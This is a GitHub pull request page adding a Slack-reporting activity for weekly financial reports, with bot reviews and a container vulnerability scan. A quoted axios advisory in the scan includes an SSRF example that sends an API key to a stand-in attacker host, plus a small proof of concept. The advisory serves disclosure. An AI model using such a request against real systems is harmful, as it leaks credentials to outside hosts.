Skip to content

Add sendReportToSlack activity #66

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 8 commits into from
Jul 3, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Introduced sendReportToSlack function to handle sending financial reports to Slack, integrating data retrieval and message posting.
  • Created unit tests for sendReportToSlack to validate successful report sending and error handling scenarios, ensuring robustness.
  • Updated weeklyFinancialReports/index.ts to export the new function.

These changes enhance the application's ability to communicate financial reports via Slack, improving reporting capabilities and error management.

- Introduced `formatCurrency` function to format numbers as USD currency, ensuring proper localization and rounding.
- Added `getRateByDate` function to retrieve rates from a historical dataset based on a specified date, with handling for undefined inputs and edge cases.
- Created unit tests for both functions to validate their functionality and accuracy, covering various scenarios for currency formatting and rate retrieval.

These additions enhance the utility functions for financial calculations and improve test coverage for the application.
- Updated the `getRateByDate` function to sort the rate history dates chronologically using a custom sorting function. This ensures that the dates are processed in the correct order, improving the accuracy of rate retrieval based on date.

These changes enhance the functionality of the rate retrieval process, ensuring more reliable data handling.
- Introduced `WeeklyFinancialReportRepository` class implementing `IWeeklyFinancialReportRepository` for generating weekly financial reports based on target units, employees, and projects.
- Added `IWeeklyFinancialReportRepository` interface and `GenerateReportInput` type for structured input handling.
- Created unit tests for the repository to validate report generation, ensuring correct summary and details output for various input scenarios, including handling of empty input arrays.

These changes enhance the financial reporting capabilities of the application, providing structured and detailed insights into weekly performance.
- Introduced `sendReportToSlack` function to handle sending financial reports to Slack, integrating data retrieval and message posting.
- Created unit tests for `sendReportToSlack` to validate successful report sending and error handling scenarios, ensuring robustness.
- Updated `weeklyFinancialReports/index.ts` to export the new function.

These changes enhance the application's ability to communicate financial reports via Slack, improving reporting capabilities and error management.
@anatolyshipitz anatolyshipitz self-assigned this Jun 11, 2025
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner June 11, 2025 18:56
Copy link

coderabbitai bot commented Jun 11, 2025

📝 Walkthrough

Walkthrough

A new function, sendReportToSlack, is introduced to generate and send weekly financial reports to Slack using provided data files. This function is exported and tested. The workflow for weekly financial reports is updated to invoke this new activity, and relevant type definitions and tests are added or updated to support the new functionality.

Changes

File(s) Change Summary
workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.ts Added sendReportToSlack function to generate and send reports to Slack.
workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.test.ts Added tests for sendReportToSlack, covering success and error scenarios.
workers/main/src/activities/weeklyFinancialReports/index.ts Exported sendReportToSlack from the activity index.
workers/main/src/services/FinApp/types.ts Added FinancialsAppData interface for structured financial data.
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts Integrated sendReportToSlack activity into the workflow and updated return value logic.
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts Updated workflow tests to mock and verify sendReportToSlack activity.

Sequence Diagram(s)

sequenceDiagram
    participant Workflow
    participant Activities
    participant SlackService
    participant ReportRepo

    Workflow->>Activities: getTargetUnits()
    Activities-->>Workflow: targetUnitsFileLink

    Workflow->>Activities: fetchFinancialAppData()
    Activities-->>Workflow: financialAppDataFileLink

    Workflow->>Activities: sendReportToSlack(targetUnitsFileLink, financialAppDataFileLink)
    Activities->>ReportRepo: generateWeeklyFinancialReport(data)
    ReportRepo-->>Activities: {summary, details}
    Activities->>SlackService: postMessage(summary)
    SlackService-->>Activities: messageTs
    Activities->>SlackService: postMessage(details, thread_ts=messageTs)
    SlackService-->>Activities: ok
    Activities-->>Workflow: "success"
Loading

Possibly related PRs

  • #63: Introduces the SlackService class used by sendReportToSlack for posting messages.
  • #65: Adds the WeeklyFinancialReportRepository used by sendReportToSlack to generate reports.
  • #57: Introduces the fetchFinancialAppData activity, which is now used as input for sendReportToSlack in the workflow.

Suggested reviewers

  • killev
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

github-actions bot commented Jun 11, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:44211e2b58d4fb885b3a37997c4380099a5d1bfda684e9f45379ceee5444e0f0
vulnerabilitiescritical: 2 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile5th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.022%
EPSS Percentile4th percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.025%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.170%
EPSS Percentile39th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score29.397%
EPSS Percentile96th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.123%
EPSS Percentile33rd percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.054%
EPSS Percentile17th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.019%
EPSS Percentile3rd percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Base automatically changed from feature/add-WeeklyFinancialReportRepository to main July 1, 2025 10:17
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🔭 Outside diff range comments (1)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

29-135: Address ESLint violations by extracting helper methods.

The generateReport method exceeds ESLint limits:

  • 107 lines (max: 50)
  • 63 statements (max: 50)
  • Complexity of 16 (max: 15)

While I understand the preference for simplicity during early development, the pipeline failures need to be addressed. Consider extracting at least these parts into private methods:

  1. Group processing logic (lines 46-101) → processGroup()
  2. Marginality categorization (lines 82-91) → categorizeMarginalityLevel()
  3. Report formatting sections → formatGroupDetails() and formatSummarySection()

Quick fix to bypass ESLint:
If you want to keep the current structure temporarily, you could disable the ESLint rules:

+  // eslint-disable-next-line max-lines-per-function, max-statements, complexity
   async generateReport({

However, I recommend the refactoring approach for better maintainability.

🧹 Nitpick comments (2)
workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.test.ts (1)

43-51: Consider simplifying the mock reset logic.

The runtime type checking seems overly defensive for a test environment. Since you're using Vitest mocks, you could simplify this:

-  function tryMockReset(obj: unknown) {
-    if (
-      typeof obj === 'function' &&
-      'mockReset' in obj &&
-      typeof (obj as { mockReset: unknown }).mockReset === 'function'
-    ) {
-      (obj as { mockReset: () => void }).mockReset();
-    }
-  }
+  function tryMockReset(obj: any) {
+    obj.mockReset?.();
+  }

However, the current implementation works and provides extra safety.

workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

7-24: Date calculation logic is correct.

The function correctly calculates the previous week's date range (Monday to Sunday). Consider adding a comment to explain the date arithmetic for future maintainability:

 function composeWeeklyReportTitle(currentDate: Date): string {
+  // Calculate previous week's Monday
   const periodStart = new Date(
     currentDate.getFullYear(),
     currentDate.getMonth(),
-    currentDate.getDate() - ((currentDate.getDay() + 6) % 7) - 7,
+    currentDate.getDate() - ((currentDate.getDay() + 6) % 7) - 7, // Convert to Monday-based week and go back 1 week
   )
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 283c216 and 267945a.

📒 Files selected for processing (5)
  • workers/main/src/activities/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.ts (1 hunks)
  • workers/main/src/services/FinApp/types.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (2 hunks)
🧰 Additional context used
🧠 Learnings (1)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
🧬 Code Graph Analysis (1)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)
workers/main/src/common/formatUtils.ts (2)
  • getRateByDate (5-27)
  • formatCurrency (1-3)
🪛 GitHub Actions: Code Quality
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts

[error] 29-29: ESLint: Async method 'generateReport' has too many lines (107). Maximum allowed is 50. (max-lines-per-function)


[error] 29-29: ESLint: Async method 'generateReport' has too many statements (63). Maximum allowed is 50. (max-statements)


[error] 29-29: ESLint: Async method 'generateReport' has a complexity of 16. Maximum allowed is 15. (complexity)

🔇 Additional comments (4)
workers/main/src/services/FinApp/types.ts (1)

27-30: LGTM! Clean interface definition.

The FinancialsAppData interface is well-structured and follows the existing patterns in the file.

workers/main/src/activities/weeklyFinancialReports/index.ts (1)

3-3: Export addition looks good.

workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.test.ts (1)

62-141: Excellent test coverage!

The test suite comprehensively covers all success and error paths with appropriate assertions on both return values and mock interactions.

workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.ts (1)

8-36: Clean implementation with good error handling.

The function is well-structured with:

  • Efficient concurrent file reading
  • Proper error handling and wrapping
  • Clear separation of concerns
  • Thread support for organizing Slack messages

coderabbitai[bot]
coderabbitai bot previously approved these changes Jul 1, 2025
- Introduced a new method `processTargetUnit` to encapsulate the logic for processing each target unit, enhancing code readability and maintainability.
- Added `pushGroupByMarginality` method to categorize groups based on their marginality level, streamlining the report generation process.
- Refactored the report title generation into a private method `composeWeeklyReportTitle` for better organization.
- Updated the report details and summary formatting using `WeeklyFinancialReportFormatter`, ensuring consistent output structure.

These changes enhance the clarity and efficiency of the weekly financial report generation process, making it easier to manage and extend in the future.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)

78-96: Consider adding error propagation test for the new activity.

While the existing error tests cover the first two activities, adding a test for error propagation from sendReportToSlack would provide complete coverage.

Add this test case:

+  it('propagates error from sendReportToSlack', async () => {
+    getTargetUnitsMock.mockResolvedValueOnce({ fileLink: 'file.json' });
+    fetchFinancialAppDataMock.mockResolvedValueOnce({
+      fileLink: 'result.json',
+    });
+    sendReportToSlackMock.mockRejectedValueOnce(new Error('slack error'));
+    await expect(
+      weeklyFinancialReportsWorkflow(GroupNameEnum.SD_REPORT),
+    ).rejects.toThrow('slack error');
+  });
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 267945a and 6639af9.

📒 Files selected for processing (2)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2 hunks)
🧰 Additional context used
🧠 Learnings (3)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2)
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-06-24T12:29:48.641Z
Learning: When introducing new Temporal workers or workflows, it is essential to avoid duplicating logic already present in shared modules and to update documentation with every significant change to workflows or activities.
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-06-24T12:29:48.641Z
Learning: Workflow and activity logic in Temporal projects should be kept modular and well-tested, and all naming (workflows, activities, task queues) should be clear and descriptive to enhance code quality and maintainability.
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2)
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-06-24T12:29:48.641Z
Learning: Workflow and activity logic in Temporal projects should be kept modular and well-tested, and all naming (workflows, activities, task queues) should be clear and descriptive to enhance code quality and maintainability.
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-06-24T12:29:48.641Z
Learning: When introducing new Temporal workers or workflows, it is essential to avoid duplicating logic already present in shared modules and to update documentation with every significant change to workflows or activities.
🧬 Code Graph Analysis (2)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
workers/main/src/activities/weeklyFinancialReports/sendReportToSlack.ts (1)
  • sendReportToSlack (8-36)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (13-26)
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
  • GitHub Check: Analyze (actions)
🔇 Additional comments (4)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2)

8-11: LGTM! Clean integration of the new activity.

The sendReportToSlack activity is properly added to the proxy activities with consistent timeout configuration.


25-25: Excellent workflow orchestration.

The sequential data flow is well-implemented: the workflow now properly orchestrates all three activities and returns the result from sendReportToSlack, which aligns with the PR objective of sending reports to Slack.

workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2)

11-11: LGTM! Comprehensive mock setup for the new activity.

The mock setup follows the established pattern consistently and includes proper cleanup in beforeEach.

Also applies to: 17-17, 21-21, 29-29, 37-39, 44-44


83-94: Excellent test coverage for the workflow integration.

The test properly verifies:

  • The new activity is called with correct parameters (both file links)
  • The workflow returns the expected result from sendReportToSlack
  • The sequential execution flow is maintained

This ensures the workflow orchestration works correctly.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jul 2, 2025
Copy link

sonarqubecloud bot commented Jul 2, 2025

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approved

@anatolyshipitz anatolyshipitz merged commit 7825d40 into main Jul 3, 2025
18 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/add-sendReportToSlack-activity branch July 3, 2025 07:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants